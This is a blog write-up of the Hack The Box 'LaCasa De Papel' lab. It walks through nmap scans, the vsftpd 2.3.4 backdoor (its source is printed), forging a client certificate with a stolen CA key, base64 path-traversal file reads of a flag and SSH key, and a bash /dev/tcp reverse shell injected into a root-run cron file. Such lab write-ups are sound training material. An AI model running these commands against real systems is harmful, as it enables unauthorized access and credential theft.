top of page
  • BlueDolphin

HTB LaCasa De Papel


  • The main page has http and https, however the secure site provides a certificate error

  • Vstfpd is out dated with version 2.3.4 and a backdoor exploit is present

  • With a foothold we enumerate and find a certificate authority key

  • We then import the CA crt from the https page and request to sign our own certificate with the certificate authority key we found

  • The URL contains the ?path and file directory where files are stored

  • With LFI and base 64 encoding we retrieve the user.txt flag and ssh key for professor

  • Home directory has a file being automatically run as root 'memcached.ini' configured as a cron job

  • We inject bash reverse shell code into the memcached.ini file

Tools used

  • nmap

  • searchsploit

  • metasploit

  • BurpSuite

  • CyberChef

  • openssl

  • linpeas

  • enum4linux

  • pspy

Lessons learned

  • Importance of verbosity when running exploits.

  • understanding the verification process for CA certificates and server certificates/key signing

  • Starting basic with LFI instead of going straight for the kill and missing something along the way



21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Enumeration Detailed

nmap -sC -sV -sT -o nmapinitial
Starting Nmap 7.80 ( ) at 2021-01-13 13:00 UTC
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 31.66% done; ETC: 13:00 (0:00:19 remaining)
Nmap scan report for
Host is up (0.21s latency).
Not shown: 996 closed ports
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Service Info: OS: Unix


From here we browse the webpage and receive a QR code which provides and authentication number when scanning but for the most part I found no relevant or useful information here.

Checking the HTTPS version of the website provided a whole different story and a clear clue about a certificate error.

Vsftpd 2.3.4

Initially the server running on port 21 was out of date with vsftpd 2.3 and the current version is 3.0 so I jumped over the searchsploit and looked for any public exploit. There was one found that looked promising as it offered a backdoor.

searchsploit vsftpd 2.3.4
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                       | unix/remote/17491.rb
----------------------------------------------------------------------------- --------------------------------

Initially running the exploit it simply did not work and I was stuck at a dead end and moved on. After spending hours combing over the website I cam back to this exploit for a second round except this time I set Verbose to true before running the exploit and this provided valuable information leaked out as to a running port our nmap scan did not pick up.

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] - Banner: 220 (vsFTPd 2.3.4)
[*] - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set VERBOSE true
VERBOSE => true
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] - The port used by the backdoor bind listener is already open
[-] - The service on port 6200 does not appear to be a shell
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > 

So because we never received confirmation of port 6200 during the nmap scan, this is not a default port that nmap scans for in the top 1000. We can quickly test this port with nc and we get confirmation the port is alive.

└──╼ [★]$ nc 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

From here I restarted the box and tried to connect over the same port and was blocked so this tells us the exploit actually did something but for some reason we are not getting the backdoor, so lets take off our script kiddie badge and dive into this exploit a little.

Diving into the exploit shows

str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
 static struct mystr s_curr_line_str;
 unsigned int pos = 0;
 while (str_getline(p_str, &s_curr_line_str, &pos))
 if (str_equal(&s_curr_line_str, p_line_str))
 return 1;
 else if((p_str->p_buf[i]==0x3a)
 && (p_str->p_buf[i+1]==0x29))
 return 0;

The key here is the else if statement requesting for the passed string to be a smiley face which is what 0x3a and 0x29 equal when convertered from hexa decimal. This will call the vsf_sysutil_extra() function. This function is responsible for the backdoor placed in sysdeputil.c file and looks like this:

 int fd, rfd;
 struct sockaddr_in sa;
 if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 memset(&sa, 0, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_port = htons(6200);
 sa.sin_addr.s_addr = INADDR_ANY;
 if((bind(fd,(struct sockaddr *)&sa,
 sizeof(struct sockaddr))) < 0) exit(1);
 if((listen(fd, 100)) == -1) exit(1);
 rfd = accept(fd, 0, 0);
 close(0); close(1); close(2);
 dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
 execl("/bin/sh","sh",(char *)0); 

Certificate Creation

With our current shell we have limited access but every time you list the file contents of the working directory the output is just a variable so using the show function we can confirm it is an environment variable and read the contents.

Variables: $tokyo
show $tokyo
  > 2| class Tokyo {
    3| 	private function sign($caCert,$userCsr) {
    4| 		$caKey = file_get_contents('/home/nairobi/ca.key');
    5| 		$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6| 		openssl_x509_export($userCert, $userCertOut);
    7| 		return $userCertOut;
    8| 	}
    9| }

Great there is clearly a certificate key being store in /home/nairobi/ca.key so we keep it simple and call the file path using the same call function referenced in the environment variable.

=> """
   -----BEGIN PRIVATE KEY-----\n
   -----END PRIVATE KEY-----\n

From here I clean copy the certificate and clean it up with "sed" to remove the \n and white space in the file. A little research demonstrated I can actually use openssl to create a certificate.

Server Side Certificate

So we have the certificate authority key which we found on the box and we will want to use this to sign our own certificate instead of requesting permission from the server. To do this we simply export the server side certificate from the website using firefox, "Lock > more information > view certificate > export".

With the certificate authority key on hand (ca.key) and the server side signing certificate we want to confirm that the CA key in our possession was indeed used to sign the server certificate. We accomplish this by verifying that the public key of our certificate authority key is the same as the public key of the server certificate. Thankfully openssl can help us with that.

Openssl includes a Certificate key matchet to check whether a pricate key matches a certificate or whether a certificate matches a certificate signing request (CSR). It is to easy to lost track of which certificate matches up with which provate key so openssl makes it simple to determine which key matches which certificate. Tool compares a hash of the public key from the private key or certificate and tells you if they match or not. These are the commands below.

openssl pkey -in privateKey.key -pubout -outform pem | sha256sum

openssl x509 -in certificate.crt -pubkey -noout -outform pem | sha256sum

openssl req -in CSR.csr -pubkey -noout -outform pem | sha256sum

└──╼ [★]$ openssl pkey -in ca.key -pubout | md5sum
71e2b2ca7b610c24d132e3e4c06daf0c  -
└──╼ [★]$ ls
ca.crt  ca.key  client.cer  client.csr  client.key  cmd.php
└──╼ [★]$ openssl x509 -in ca.crt -pubkey -noout | md5sum
71e2b2ca7b610c24d132e3e4c06daf0c  -
└──╼ [★]$ 

Certificate crafting

We have all the information we need to craft a custom certifiate.

First we generate a private key for the ssl client.

└──╼ [★]$ openssl genrsa -out client.key 4096
Generating RSA private key, 4096 bit long modulus (2 primes)
e is 65537 (0x010001)

Now we need to use this key to generate a certificate request. For the information that follows it does not matter what we enter.

└──╼ [★]$ openssl req -new -key client.key -out client.req

Now we need to issue the client certificate to the certificate authority with a CA request and the CA key.

└──╼ [★]$ openssl x509 -req -in client.req -CA ca.crt -CAkey ca.key -set_serial 9001 -extensions client -days 9002 -outform PEM -out client.cer
Signature ok
subject=C = NY, ST = NY, L = NYC, O = Boom, OU = oo
Getting CA Private Key

Finally we have to convert the certificate and key to PKCS12 so it is compatable with a browser.

From here we import our certificate into the browser, and check the authority tab to confirm it has worked.

openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

We reload the webpage and we have successfully passed our certificate

Clicking on season 1 provides us with download links and a URL query that could allow for local file inclusion. This initially does not work and the page returns null when entering

Inspecting the page however gave us a clue to seal the deal.

This looked like base64 being converted to the file name, as well as the provided folder of all files. I quickly decoded this string in base64 and confirmed it equaled 01.avi. So my next move was to base 64 encode "..user.txt" and submit a request like this.

Boom I got the user flag :)


Back to the drawing board, I forget to check a more basic LFI query of just ".."

Appending this to the URL and removing the SEASON directory provided LFI of directories.

Here we can use the same technique to download id_rsa

We can now login with the list of users we received from the port we enumerated earlier and the username professor is successful.

From here we noticed two files in our directory that are totally out of place.

memcached.ini and memcached.js.

We do not have permissions to view memcached.js but we have permission to view memcachced.ini.

command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

So we can edit the file as we own the directory, but we cannot run the file.

From here I utilized pspy to view running processes, and I noticed root was continuously calling the memcached.ini file.

So this was a an easy move that followed where we just added a reverse shell one liner to the file and waited for it to auto run at which point our listener caught the connection.

command = bash -c 'bash -i>& /dev/tcp/ 0>&1'

31 views0 comments

Recent Posts

See All


bottom of page